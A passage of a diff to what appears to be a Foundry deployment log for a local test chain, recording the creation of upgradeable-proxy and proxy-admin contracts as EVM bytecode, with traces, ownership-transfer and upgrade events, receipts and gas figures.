"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033", + "gas_used": 362115, + "gas_limit": 494948, "status": "Return", "steps": [], "decoded": { @@ -5317,8 +5500,9 @@ { "raw_log": { "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" }, @@ -5327,69 +5511,47 @@ "params": null }, "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 } ], "ordering": [ { "Log": 0 - }, - { - "Log": 1 } ] } ], "exit": "Return", - "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "nonce": 4, - "gas_used": 573230 + "out": "0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212208c9b9e088f3575078e1e546bdacf514367bf3b048de9f62c408ca085a2a59c4b64736f6c634300081b0033", + "nonce": 0, + "gas_used": 443273 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x17dd2b", + "cumulativeGasUsed": "0x6c389", "logs": [ { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" } ], - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000420000000000000000000000000000000000000000000000000000000000001000000000100000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059", - "block_number": 2 + "block_hash": "0x2783c15f23dac4e544deb568f901b0277f84541b93554d923a8a117123272b40", + "block_number": 1 }, { "info": { - "transaction_hash": "0xd4bc553858d9284ea2380fa803173ac8864efeb45752b89fc1ab2c45958a1d1d", - "transaction_index": 1, + "transaction_hash": "0x046411743d2c08a8f69f7117e4aed15eb84999f401e950cafac8436c9d2c04d8", + "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": null, - "contract_address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "contract_address": null, "traces": [ { "parent": null, @@ -5399,18 +5561,18 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "maybe_precompile": false, + "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CREATE", + "kind": "CALL", "value": "0x0", - "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "gas_used": 465106, - "gas_limit": 636783, - "status": "Return", + "data": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "output": "0x", + "gas_used": 4371, + "gas_limit": 16304, + "status": "Stop", "steps": [], "decoded": { "label": null, @@ -5422,8 +5584,9 @@ { "raw_log": { "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" }, @@ -5432,89 +5595,69 @@ "params": null }, "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" - ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 } ], "ordering": [ { "Log": 0 - }, - { - "Log": 1 } ] } ], - "exit": "Return", - "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", - "nonce": 6, - "gas_used": 573230 + "exit": "Stop", + "out": "0x", + "nonce": 31, + "gas_used": 25803 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x117e5c", + "cumulativeGasUsed": 